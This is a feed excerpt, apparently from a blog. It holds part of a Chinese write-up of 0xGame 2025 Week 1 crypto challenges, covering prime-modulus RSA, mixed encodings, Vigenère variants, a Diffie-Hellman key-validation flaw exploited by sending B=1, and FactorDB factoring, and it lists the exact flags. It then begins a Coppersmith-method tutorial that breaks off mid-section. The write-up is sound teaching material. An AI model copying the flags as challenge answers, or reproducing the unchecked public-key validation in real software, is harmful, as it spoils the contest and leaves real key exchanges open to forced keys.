&lt;li&gt;服务端生成一个 2025 bit 的素数 $n$，而非传统 RSA 的复合数。&lt;&#x2F;li&gt;
&lt;li&gt;由于 $n$ 为素数，$\varphi(n) = n - 1$，可以直接求解私钥指数。&lt;&#x2F;li&gt;
&lt;li&gt;明文构造为 &lt;code&gt;flag || random&lt;&#x2F;code&gt; 共 253 字节，随后按大端转换为整数 $m$。&lt;&#x2F;li&gt;
&lt;li&gt;密文以 little-endian 形式输出为 254 字节十六进制串。&lt;&#x2F;li&gt;
&lt;li&gt;题目还包含 &lt;code&gt;sha256(XXXX + suffix)&lt;&#x2F;code&gt; 的 PoW，不影响核心解法。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;tui-dao&quot;&gt;推导&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;公开参数：$n, e, c_{\text{hex}}$。&lt;&#x2F;li&gt;
&lt;li&gt;先把密文转换回整数：$c = \text{int.from_bytes}(\text{bytes.fromhex}(c_{\text{hex}}), \text{little})$。&lt;&#x2F;li&gt;
&lt;li&gt;私钥指数 $d \equiv e^{-1} \pmod{n-1}$。&lt;&#x2F;li&gt;
&lt;li&gt;明文整数 $m \equiv c^d \bmod n$。&lt;&#x2F;li&gt;
&lt;li&gt;将 $m$ 转回字节串，截取 &lt;code&gt;0xGame{...}&lt;&#x2F;code&gt; 段即为 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;chang-shi-guo-cheng-3&quot;&gt;尝试过程&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;针对 PoW，可先离线编写暴力脚本求前缀，之后自动化读取参数。&lt;&#x2F;li&gt;
&lt;li&gt;本地模拟验证：随机给定 flag，运行题面脚本得密文，再用解题脚本成功还原。&lt;&#x2F;li&gt;
&lt;li&gt;需要注意 little-endian：如果直接把密文字符串看作大端，会得到错误结果。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-jiao-ben&quot;&gt;解题脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 提供完整流程：读取 $n, e, c_{\text{hex}}$，解密并搜索 flag。&lt;&#x2F;li&gt;
&lt;li&gt;结合 PoW solver 可实现端到端自动化。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-3&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;在远程 &lt;code&gt;nc1.ctfplus.cn 47036&lt;&#x2F;code&gt; 获取到的密文解密得到 &lt;code&gt;0xGame{d4cf5685-acf2-43c3-806d-10c86934be91}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;mixed-encoding&quot;&gt;Mixed-Encoding&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fen-xi-1&quot;&gt;题目分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;flag 被拆成四段：
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;flag[0:25]&lt;&#x2F;code&gt; 使用 Base64。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;flag[25:50]&lt;&#x2F;code&gt; 转为十六进制字符串。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;flag[50:75]&lt;&#x2F;code&gt; 经过自定义 &lt;code&gt;awaqaq&lt;&#x2F;code&gt; 映射：把字节串当作大端整数，用三进制表示，再把余数 $0,1,2$ 映射为 &lt;code&gt;a,w,q&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;flag[75:100]&lt;&#x2F;code&gt; 视作 little-endian 整数后求七次幂。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;flag 原始编码为 &lt;code&gt;gb2312&lt;&#x2F;code&gt;，并被随机填充到 100 字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ni-xiang-si-lu&quot;&gt;逆向思路&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;Base64 和十六进制直接逆变换即可得到前 50 字节。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;awaqaq&lt;&#x2F;code&gt;：
&lt;ul&gt;
&lt;li&gt;遍历密文从低位开始，按三进制回推整数。&lt;&#x2F;li&gt;
&lt;li&gt;将大整数用 $\text{to_bytes}(25, ‘big’)$ 还原为原始 25 字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;对于七次幂部分，先计算整数七次整根：
&lt;ul&gt;
&lt;li&gt;对大整数 $C$，寻找 $r$ 使得 $r^7 = C$。&lt;&#x2F;li&gt;
&lt;li&gt;使用二分&#x2F;牛顿法求整根，验证 $r^7$ 恰好等于 $C$。&lt;&#x2F;li&gt;
&lt;li&gt;将 $r$ 按 little-endian 解码回长度 25 的字节串。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;拼接四段，再截断到 &lt;code&gt;}&lt;&#x2F;code&gt; 为止，即 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;chang-shi-ji-lu-2&quot;&gt;尝试记录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;最初直接 &lt;code&gt;gb2312&lt;&#x2F;code&gt; 解码失败，排查发现随机填充落在 &lt;code&gt;}&lt;&#x2F;code&gt; 之后，引起非法字节。&lt;&#x2F;li&gt;
&lt;li&gt;在脚本中改为先截断到第一个 &lt;code&gt;}&lt;&#x2F;code&gt;，再进行解码，问题解决。&lt;&#x2F;li&gt;
&lt;li&gt;验证 &lt;code&gt;len(flag) = 100&lt;&#x2F;code&gt;，与题面约束一致。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-jiao-ben-1&quot;&gt;解题脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 将四段解码流程整合，并带有整数七次根函数，执行后直接输出旗帜。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-4&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xGame{欢迎来到0xGame2025，现在你已经学会Crypto的基本知识了，快来试试更难的挑战吧！}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;vigenere-nonlinear&quot;&gt;Vigenere-Nonlinear&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fen-xi-2&quot;&gt;题目分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;字母表同样是 94 个可打印字符。&lt;&#x2F;li&gt;
&lt;li&gt;加密规则改为 $c_i = \text{alphabet}[((p_i + k_j) \times p_i) \bmod 94]$，引入非线性项，导致直接逆向不唯一。&lt;&#x2F;li&gt;
&lt;li&gt;flag 结构限定：以 &lt;code&gt;0xGame{&lt;&#x2F;code&gt; 开头，以 &lt;code&gt;}&lt;&#x2F;code&gt; 结尾，中间全部为小写字母。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;si-lu-tui-dao&quot;&gt;思路推导&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;对于每个位置，列举所有满足公式的 $p_i$。&lt;&#x2F;li&gt;
&lt;li&gt;前缀、后缀约束用于立即剪枝：
&lt;ul&gt;
&lt;li&gt;位置 $0\ldots6$ 必须匹配 &lt;code&gt;0xGame{&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;最后一位必须是 &lt;code&gt;}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;中间部分仅允许 &lt;code&gt;a\ldots z&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;仍存在歧义时，使用英语频率打分函数挑选最自然的字符串。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;chang-shi-guo-cheng-4&quot;&gt;尝试过程&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;先写脚本枚举 $
{x \mid ((x + b)x \bmod 94) = t}$，发现部分位置有 2~4 个候选。&lt;&#x2F;li&gt;
&lt;li&gt;应用 flag 结构约束后候选数显著下降，仅剩 8 条可能。&lt;&#x2F;li&gt;
&lt;li&gt;进一步采用常见字母频率评分，&lt;code&gt;excellent&lt;&#x2F;code&gt; 获得最高得分，且能重加密回原密文，验证无误。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-jiao-ben-2&quot;&gt;解题脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 完整实现上述枚举与评分逻辑，输出唯一的最佳候选。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-5&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xGame{excellent}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;diffie-hellman-backdoor&quot;&gt;Diffie-Hellman-Backdoor&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fen-xi-3&quot;&gt;题目分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;服务端执行一次 Diffie-Hellman 密钥协商：随机选取素数 $p$、生成元 $g$，以及 Alice 的私钥 $a$。&lt;&#x2F;li&gt;
&lt;li&gt;用户需提交 Bob 的公钥 $B$，随后服务端用 $s = B^a \bmod p$ 派生共享密钥，再通过 $\text{AES-ECB}$ 加密 flag。&lt;&#x2F;li&gt;
&lt;li&gt;题目禁止 $B = A$，但未限制其他取值。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;he-xin-lou-dong&quot;&gt;核心漏洞&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;选择 $B = 1$ 时，共享密钥 $s = 1^a \equiv 1 \pmod p$，与 $a$、$p$、$g$ 无关。&lt;&#x2F;li&gt;
&lt;li&gt;因此密钥恒定：$k = \text{SHA256}(\text{long_to_bytes}(1))$。&lt;&#x2F;li&gt;
&lt;li&gt;得到密文后，使用该固定密钥即可直接解密。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;shu-xue-tui-dao&quot;&gt;数学推导&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;Diffie-Hellman 协商：$A = g^a \bmod p$、$B = g^b \bmod p$、$s = g^{ab} \bmod p$。&lt;&#x2F;li&gt;
&lt;li&gt;当攻击者伪造 $B = 1$ 时，相当于 $b = 0$，故 $s = g^{a \cdot 0} = 1$。&lt;&#x2F;li&gt;
&lt;li&gt;由于服务端只检查 $B \neq A$，仍会接受该输入。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;shi-ji-li-yong-liu-cheng&quot;&gt;实际利用流程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;连接到题目服务，读取参数 $p, g, A$。&lt;&#x2F;li&gt;
&lt;li&gt;提交 &lt;code&gt;1&lt;&#x2F;code&gt; 作为 Bob 的公钥。&lt;&#x2F;li&gt;
&lt;li&gt;读取加密后的 flag（十六进制）。&lt;&#x2F;li&gt;
&lt;li&gt;计算 $k = \text{SHA256}(1)$，用 AES-ECB 解密并 &lt;code&gt;unpad&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;chang-shi-ji-lu-3&quot;&gt;尝试记录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;本地模拟时自定义 &lt;code&gt;secret.flag&lt;&#x2F;code&gt;，验证提交 &lt;code&gt;1&lt;&#x2F;code&gt; 后可成功解密得到原 flag。&lt;&#x2F;li&gt;
&lt;li&gt;真实环境仅需替换输入的密文即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-jiao-ben-3&quot;&gt;解题脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 会从标准输入读取密文十六进制串，内部固定密钥后输出明文。&lt;&#x2F;li&gt;
&lt;li&gt;若直接与远端交互，可借助 &lt;code&gt;pwntools&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;telnet&lt;&#x2F;code&gt; 先拿到密文，再喂给脚本解密。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-6&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;远端 &lt;code&gt;nc1.ctfplus.cn 29844&lt;&#x2F;code&gt; 返回的密文解密得到 &lt;code&gt;0xGame{70276d88-2972-4bbc-9bcf-429e1f17540a}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;vigenere-classic&quot;&gt;Vigenere-Classic&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fen-xi-4&quot;&gt;题目分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;明文字母表为 &lt;code&gt;digits + ascii_letters + punctuation&lt;&#x2F;code&gt;，共 10 + 52 + 32 = 94 个字符。&lt;&#x2F;li&gt;
&lt;li&gt;使用固定密钥 &lt;code&gt;Welcome-2025-0xGame&lt;&#x2F;code&gt; 做经典维吉尼亚加密：$c_i = \text{alphabet}[(p_i + k_j) \bmod 94]$。&lt;&#x2F;li&gt;
&lt;li&gt;密文已给定，可直接按公式逆向。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;tui-dao-yu-jie-fa&quot;&gt;推导与解法&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;对每个字符，偏移量 $\text{bias} = \text{alphabet.index}(k_j)$。&lt;&#x2F;li&gt;
&lt;li&gt;解密时：$p_i = \text{alphabet}[(c_i - \text{bias}) \bmod 94]$。&lt;&#x2F;li&gt;
&lt;li&gt;密钥循环使用，恢复明文即 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chang-shi-ji-lu-4&quot;&gt;尝试记录&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;先确认密钥与字母表长度，手动算出 94。&lt;&#x2F;li&gt;
&lt;li&gt;编写脚本逐字符逆向，首字母就恢复出 &lt;code&gt;0&lt;&#x2F;code&gt;，符合 CTF flag 风格。&lt;&#x2F;li&gt;
&lt;li&gt;验证完整结果为 &lt;code&gt;0xGame{...}&lt;&#x2F;code&gt;，与期待一致。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;jie-ti-jiao-ben-4&quot;&gt;解题脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt; 实现上述解密流程，直接输出 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-7&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xGame{you_learned_vigenere_cipher_2df4b1c2e3}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;rsa-factordb&quot;&gt;RSA-FactorDB&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fen-xi-5&quot;&gt;题目分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;服务端生成两个 256 bit 素数 $p, q$，构造 $n = p \times q$ 和公共指数 $e = 65537$，使用 RSA 加密 flag。&lt;&#x2F;li&gt;
&lt;li&gt;脚本把 $n$、$c$ 直接打印出来，因此是典型的 RSA 解密题。&lt;&#x2F;li&gt;
&lt;li&gt;两个素数都不大（512 bit 模数），可直接在 FactorDB 上查到分解结果。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-jue-si-lu-yu-tui-dao&quot;&gt;解决思路与推导&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;记 $
\phi(n) = (p-1)(q-1)$。&lt;&#x2F;li&gt;
&lt;li&gt;解密指数为 $d \equiv e^{-1} \pmod{\phi(n)}$，可用扩展欧几里得算法或 &lt;code&gt;Crypto.Util.number.inverse&lt;&#x2F;code&gt; 计算。&lt;&#x2F;li&gt;
&lt;li&gt;明文整数 $m \equiv c^d \pmod{n}$。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;long_to_bytes(m)&lt;&#x2F;code&gt; 还原字节串。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;chang-shi-guo-cheng-5&quot;&gt;尝试过程&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;首先将题目中的 $n$ 粘贴到 FactorDB，立即得到素因数 $p$、$q$。&lt;&#x2F;li&gt;
&lt;li&gt;使用 Sage&#x2F;Python 验证 $p \times q = n$，并计算 $\phi(n)$、$d$。&lt;&#x2F;li&gt;
&lt;li&gt;解密后得到明文字节串，转换为 ASCII 即 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-jiao-ben-5&quot;&gt;解题脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;见 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;，直接写死题面给出的 $n, c, p, q$，执行即可复现。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-8&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xGame{F4ct0rDB_1s_usefu1_r19ht?}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        <summary type="html">0xGame 2025 Week1 全部题解（WP）</summary>
        </entry><entry xml:lang="zh-Hans">
        <title>Coppersmith 讲义：从直觉到实现</title>
        <published>2025-08-25T00:00:00+00:00</published>
        <updated>2025-08-25T00:00:00+00:00</updated>
        <author>
            <name>Normal SubGroup</name>
        </author>
        <link rel="alternate" href="https://NormalSubgroup.cauchy.top/blog/coppersmith/" type="text/html"/>
        <id>https://NormalSubgroup.cauchy.top/blog/coppersmith/</id>
        
            <content type="html">&lt;h1 id=&quot;coppersmith-fang-fa-jiang-yi-cong-zhi-jue-dao-shi-xian-dan-bian-liang-er-yuan-xiao-yuan-yu-ying-yong&quot;&gt;Coppersmith 方法讲义：从直觉到实现（单变量、二元、消元与应用）&lt;&#x2F;h1&gt;
&lt;p&gt;本讲义基于 Steven Galbraith《Mathematics of Public Key Cryptography》ch19（Coppersmith’s Method and Related Applications）的公开章节，提供一份针对“会一点数论（会看模运算、会 gcd），但不懂格”的读者的系统说明。配套代码为纯手工、零外部依赖的最小可运行实现：单变量小根、二元小根，以及二元消元（结果式）。&lt;&#x2F;p&gt;
&lt;p&gt;重要说明：本仓库仅用于教学演示，代码注重可读性而非性能或鲁棒性，请勿用于生产或安全关键用途。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;0-shou-zhong-yu-qian-zhi-zhi-shi&quot;&gt;0. 受众与前置知识&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;你需要知道：模运算（ $\equiv$ 与 $\mod{}$ 的含义）、整除、最大公因数 gcd、基本多项式代数。&lt;&#x2F;li&gt;
&lt;li&gt;你暂时不需要知道：格与 LLL 的细节证明、代数数论、$p-1$ 素数判定等高级概念。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们会用“尽量直觉”的方式解释为什么“构造一堆看似无关的多项式 + 一个神奇的短向量算法（LLL）”可以把“模方程的小根”变成“整数方程的真根”。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;1-wen-ti-she-zhi-dan-bian-liang-xiao-gen&quot;&gt;1. 问题设置（单变量小根）&lt;&#x2F;h2&gt;
&lt;p&gt;给定：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;模数 $N\in\mathbb{Z}_{&amp;gt;0}$&lt;&#x2F;li&gt;
&lt;li&gt;整系数多项式 $f(x)\in\mathbb{Z}[x]$，次数 $d=\deg f$&lt;&#x2F;li&gt;
&lt;li&gt;目标：若存在“足够小”的整数根 $x_0$（大小界 $X$）满足
$$f(x_0) \equiv 0 \pmod{N}, \quad |x_0| &amp;lt; X,$$
希望能在多项式时间内找回 $x_0$。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;经典结论（非形式化）：若 $X\lesssim N^{1&#x2F;d}$（更严格地说 $|x_0| &amp;lt; N^{1&#x2F;d-\varepsilon}$），则可以用 Coppersmith 方法在多项式时间内恢复 $x_0$。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2-guan-jian-si-xiang-rang-mo-n-de-ling-bian-cheng-zheng-shu-shang-de-ling&quot;&gt;2. 关键思想：让“模 N 的零”变成“整数上的零”&lt;&#x2F;h2&gt;
&lt;p&gt;直观目标：构造若干整系数多项式 $g_i(x)$，使它们在 $x_0$ 处“同时很小”且“模 $N^m$ 为 0”。如果某个整数多项式 $h(x)$ 同时满足&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;$h(x_0) \equiv 0 \pmod{N^m}$（强整除），&lt;&#x2F;li&gt;
&lt;li&gt;且 $|h(x_0)| &amp;lt; N^m$（数值上比模数还小），&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;那么 $h(x_0)$ 只能等于 0（因为它是整数，既是 $N^m$ 的倍数，又严格小于 $N^m$ 的绝对值）。这就把“模方程的根”变成了“整数方程的真根”。&lt;&#x2F;p&gt;
&lt;p&gt;如何达成这两点？&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;让模 $N^m$ 为 0：若 $f(x_0) \equiv 0 \pmod N$，则 $f(x_0) = N\cdot t$。于是 $\forall, i&amp;lt;m$，$N^{m-i}, f(x)^i$ 在 $x_0$ 处必定被 $N^m$ 整除。再加上 $f(x)^m$ 自身也被 $N^m$ 整除。&lt;&#x2F;li&gt;
&lt;li&gt;让“数值上很小”：把变量缩放 $x\mapsto X\cdot u$，并把多项式的“第 $k$ 列系数”统一乘以 $X^k$。这样，一个多项式的“系数向量范数”就能很好地近似它在区间 $|x|\le X$ 上的大小。若 $|x_0|&amp;lt;X$，则 $|u_0|=|x_0|&#x2F;X&amp;lt;1$。寻找“系数向量很短”的整数线性组合（这正是 LLL 擅长的事），常能得到在 $u_0$ 处数值很小的多项式。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这两点叠加，就得到前述“既是 $N^m$ 倍数又很小”从而“只能为 0”的结论。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;3-yu-lun-wen-yi-zhi-de-ge-gou-zao-howgrave-graham-bian-ti&quot;&gt;3. 与论文一致的格构造（Howgrave–Graham 变体）&lt;&#x2F;h2&gt;
&lt;p&gt;记 $d=\deg f$。我们构造如下多项式集合（均为整系数）：&lt;&#x2F;p&gt;
&lt;p&gt;$$
\begin{aligned}
\mathcal{G}
= {} &amp;amp; \big{ N^{m-i} x^j f(x)^i : 0\le i&amp;lt;m, 0\le j&amp;lt;d \big} \
&amp;amp;\cup \big{ x^j f(x)^m : 0\le j&amp;lt;t \big}.
\end{aligned}
$$&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对任意 $x_0$，若 $f(x_0)\equiv 0\pmod N$，则上集合中任意元素在 $x_0$ 处都被 $N^m$ 整除。&lt;&#x2F;li&gt;
&lt;li&gt;将变量替换为 $x\mapsto X\cdot u$，并对“系数矩阵”的第 $k$ 列乘以 $X^k$，得到一个整数矩阵 $B$（每行就是一个多项式的系数向量）。&lt;&#x2F;li&gt;
&lt;li&gt;使用 LLL 对 $B$ 做格基约化，得到若干“短向量”。这些短向量对应的线性组合在 $|u|\le 1$（等价于 $|x|\le X$）范围内通常很小。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;设约化得到的某一行对应多项式为 $h(Xu)$。当 $u=u_0=x_0&#x2F;X$ 时：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;$h(x_0)$ 被 $N^m$ 整除；&lt;&#x2F;li&gt;
&lt;li&gt;由于“短向量”导致系数小，进而 $|h(x_0)|$ 小；
于是 $h(x_0)=0$，即 $x_0$ 是 $h$ 的整数根。随后在区间 $(-X,X)$ 中直接搜索&#x2F;验证即可。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;我们的实现（coppersmith&#x2F;univariate.py）按上述集合构造矩阵，LLL 后对前若干短向量反缩放评估，并在 $(-X,X)$ 内检查整数根且验证 $f(r)\equiv 0\pmod N$。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;4-can-shu-ru-he-xuan&quot;&gt;4. 参数如何选？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;理论尺度：单变量 $d=\deg f$，通常需要 $X \leq N^{1&#x2F;d}$ 才有希望成功。&lt;&#x2F;li&gt;
&lt;li&gt;起步建议：$m\approx d$，$t\approx d$。失败时可逐步增大 $m,t$（格维度提高，成功率提高但计算更慢），或调小 $X$。&lt;&#x2F;li&gt;
&lt;li&gt;维度估计：行数约 $m\cdot d + t$；列数约为“构造集中最高次数 + 1”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在我们的教学工程中，示例采用小规模 N 与保守的 X，以保证几秒内完成演示。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;5-er-yuan-xiao-gen-f-x-y-equiv-0-pmod-n-x-x-y-y&quot;&gt;5. 二元小根：$F(x,y)\equiv 0\pmod N$，$|x|&amp;lt;X,,|y|&amp;lt;Y$&lt;&#x2F;h2&gt;
&lt;p&gt;思路与单变量相同：构造在 $(x_0,y_0)$ 处被 $N^m$ 整除的一族多项式，并做双变量缩放：列 $(i,j)$ 统一乘以 $X^i Y^j$。我们采用 Howgrave–Graham 风格的集合（$d_x=\deg_x F+1,\ d_y=\deg_y F+1$）：
$$
\begin{aligned}
\mathcal{H}
= {} &amp;amp; \Big{ N^{m-i}, F(x,y)^i, x^{a_x} y^{a_y}
: 0\le i&amp;lt;m,\ 0\le a_x&amp;lt;d_x,\ 0\le a_y&amp;lt;d_y \Big} \
&amp;amp;\cup, \Big{ F(x,y)^m, x^{a_x} y^{a_y}
: 0\le a_x&amp;lt;t_x,\ 0\le a_y&amp;lt;t_y \Big}.
\end{aligned}
$$&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;变量替换 $(x,y)\mapsto (X,u, Y,v)$，对列 $(i,j)$ 乘以 $X^i Y^j$，得到整数矩阵并 LLL。&lt;&#x2F;li&gt;
&lt;li&gt;取两条最短向量对应的 $G_1,G_2$，它们在 $(x_0,y_0)$ 处“既小又被 $N^m$ 整除”，于是满足 $G_1(x_0,y_0)=G_2(x_0,y_0)=0$ 的强条件（在整数上为 0）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;问题变为：从 $G_1,G_2$ 中消去 $y$（或 $x$），得到单变量多项式 $R(x)$，再在 $(-X,X)$ 搜索 $R(x)=0$ 的整数根并回代求 $y$。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;6-xiao-yuan-jie-guo-shi-wei-shen-me-yi-ji-zen-me-zuo-wo-men-ru-he-shou-xie&quot;&gt;6. 消元（结果式）：为什么以及怎么做（我们如何手写）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;定义（思想）：对关于 $y$ 的两一元多项式 $P(y),Q(y)$，其结果式（关于 $y$）记为 $\operatorname{Res}_y(P,Q)$。性质：
$$\operatorname{Res}_y(P,Q)=0\ \Longleftrightarrow\ \exists\ y\in\mathbb{C},\ P(y)=Q(y)=0.$$
结果式可用 Sylvester 矩阵的行列式表示。&lt;&#x2F;li&gt;
&lt;li&gt;直接在 $\mathbb{Z}[x]$ 中构造 $\operatorname{Res}_y\big(G_1(x,y),G_2(x,y)\big)$ 会非常巨大。我们采用“多点专化 + 插值”的朴素而稳健的办法：
&lt;ol&gt;
&lt;li&gt;固定若干 $x_0$，把 $G_1,G_2$ 在 $x=x_0$ 处专化成关于 $y$ 的一元多项式（分数系数），清分母为整数；&lt;&#x2F;li&gt;
